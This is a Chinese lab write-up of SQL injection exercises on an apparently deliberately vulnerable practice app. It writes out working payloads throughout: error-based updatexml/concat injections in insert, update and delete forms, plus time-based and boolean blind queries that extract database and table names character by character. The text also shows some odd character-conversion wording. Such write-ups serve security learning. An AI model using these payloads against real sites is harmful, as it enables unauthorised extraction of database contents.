這裡因為實驗的時候隻記錄了一部分是以就展示一部分
1.1.1數字型注入

(1)看到界面發現是查詢id功能,沒有在url裡看到有傳參是以應該是post方法送出資料。
(2)進行sql注入之前我們最好是先想像一下這個功能送出的參數到了背景之後背景是怎樣的操作的,對于目前的頁面我猜測背景是這樣操作
現接受我的id請求然後帶入到查詢語句
$id=$_POST['id']
select 字段1,字段2 from 表名 where id = $id
可以用下面的語句添加在等号後面來測試是否真确(post請求通過抓包的方式來進行測試)
1 or 1=1;
可以看到傳回的是200
然後檢視傳回的結果可以看到把所有的結果都查詢出來了。是以有漏洞并且是數字型的
1.1.2 字元型注入
檢視頁面發現是get請求
(1)首先也是猜想背景進行的操作,因為是查詢名字,先将我們查詢的數值賦給一個變量
$uname=$_GET['username']
select 字段1,字段2 from 表名 where username='$uname ' or 1=1#';
or = 1=1#驗證漏洞是否存在,#号注釋閉合‘’
測試結果
1.1.3 搜尋型以及xx型注入
(1)搜尋型
看到界面是使用者名查找我首先還是進行猜測背景的操作,猜測背景可能使用的是mysql的搜尋功能,mysql查詢語句
Select * from member where username like ’$$’;
對于我們滲透者來時要進行一個閉合構造
Payload:xxxx%' or 1=1 #
測試結果
(2)xx型
檢視頁面發現與搜尋型類似,但是測試發現拼接閉合的語句不同,檢視源碼發現是括号閉合,是以可以得到payload的類型是多種多樣的。
原理方法與搜尋型類似,是以構造payload
xx') or 1=1 #
但實際滲透測試過程中不可能得到目标網站的源碼,這時候就需要根據經驗和多測試。比如發現一個輸入框,就首先進行單雙引号測試
aaa” or 1=1# 或者 aaa’or 1=1#等等等。
主要是通過輸入來看傳回,來看我們的輸入有沒有參與到資料庫背景的運算裡面.
1.1.4”insert/updata”注入
(1)insert
看到界面發現是注冊猜測背景資料庫操作應該是insert指令,我們點選注冊,我們先進行單引号測試
送出發現出現錯誤意味着送出的文法在背景參與了操作。
然後我們得知道mysqlinsert語句的用法
Insert into member(username,pw,sex,phonenum,email,address)values(‘xxxxxxxx’11111,1,2,3,4);
要構造閉合首先在我們可以輸入的部分就是‘xxxx’裡插入報錯函數
Updatexml()
kobe' and updatexml(1,version(),0)#
updataxml(是mysql對xml文檔函數進行出巡和修改的Xpath函數)
函數有三個參數第一個數指定xml文檔表的字段名稱,第二個是指定要替換的位置,第三個是新的值,但這三個值都是錯誤的。
第一個是不存在的,最後一個0因為前面的是不存在的是以替換也是沒有意義的。關鍵是中間的數值,中間的數值也可以用表達式的形式,函數會把這個表達式執行了然後以報錯的形式傳回出來。
測試
發現沒有傳回完整的版本号資訊,這裡因為我們沒有進行處理。
這裡我們對函數進行處理加入concat函數意思是将傳進去的參數組合成一個字元串列印出來,concat也可以執行表達式也就是将 0x7e和version()結果組合成一個字元串列印出來
kobe' and updatexml(1,concat(0x7e,version()),0)#
kobe' and updatexml(1,concat(0x7e,database()),0)#
0x7e是~号的十六進制
測試:
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
發現成功傳回報錯列印資料庫名稱
(2)update
首先登陸之後發現可以修改個人資訊
Update文法與insert差不多我們将之前的palyload輸入
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
送出測試:
發現一樣可以傳回報錯
1.1.5”delete”注入
首先看到界面有請求和删除功能我們點選删除,之後再burp上檢視
猜測因為對于背景來說其實就是擷取了id,然後進行删除操作,是以我們就對id進行操作,還是使用之前的updatexml函數構造payload
1 or updatexml(1,concat(0x7e,database()),0)
将payload帶入burp裡面,因為參數是url類型進行送出的是以要進行URL編碼
可以看到空格都變成了+号
最後看傳回
成功報錯。
1.1.6盲注(基于時間)
Base time注入輸入單引号不會傳回報錯,一般方法也不會傳回報錯,
這時候我們猜測是否為base time 的注入
先打開控制台f12選擇網絡
然後輸入payload:kobe' and sleep(5)#
發現執行了我們的語句延遲五秒,證明存在base time的注入
然後就可以構造我們的payload
kobe' and if((substr(database(),1,1))='a',sleep(5),null)#
通過一個if語句讓資料庫名稱的第一個字元與a進行比較,如果一樣就會暫停五秒,如果不等于就為假不暫停。
然後就慢慢進行嘗試
1.1.7盲注(基于boolean)
1.基于boolean的與基于time的一樣,用之前的方法都不會傳回報錯。
2.不管是輸入正确,還是輸入錯誤,都隻顯示兩種情況(可以認為是0或者1)
3.在輸入正确的情況下,輸入and1=1/and1=2發現可以判斷
測試,通過輸入正确的名字加上我們的語句and 1=1#發現,也成功傳回資訊。
然後輸入kobe' and 1=2#,發現有報錯,判定是存在sql注入的,但是前端傳回資訊特别少。用我之前的報錯函數payload輸入也不能獲得報錯。怎麼辦呢。
辦法總比困難多
這裡我們使用一個這裡substr函數,先了解什麼是substr函數
Select substr(database(),1,1);
意思是使用取出資料庫名稱的第一個字元一次取出一個。
那我們如何知道要猜的名稱長度,這裡再用一個函數,length獲得長度,但是基于boolean函數的隻能傳回真假是以
Length(database())>8,通過這種方式來猜,
(1)測試payload
kobe' and ascii(substr(database(),1,1))>113#
前面為真如果and後面也為真就會傳回kobe的資訊,根據真假來判斷我們的猜測
先去猜測資料庫第一個字元的ascii碼大于113
傳回為假
再次猜測
kobe' and ascii(substr(database(),1,1))=112#
傳回為真。
現在進行進一步構造payload
将database()替換為查找資料庫裡第一個表的表名,之後再去一個個判斷字元
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#
傳回為真,說明資料庫第一個表的表名的第一個字元的ASCII碼小于112,然後以此類推就可以猜到完整的。
手工盲注效率還是很慢,是以我們隻需要搞懂原理,在實際測試的過程中還是需要自動化的工具,例如sqlmap之類的,由于之前測試的時候沒有記錄,這裡就不示範了。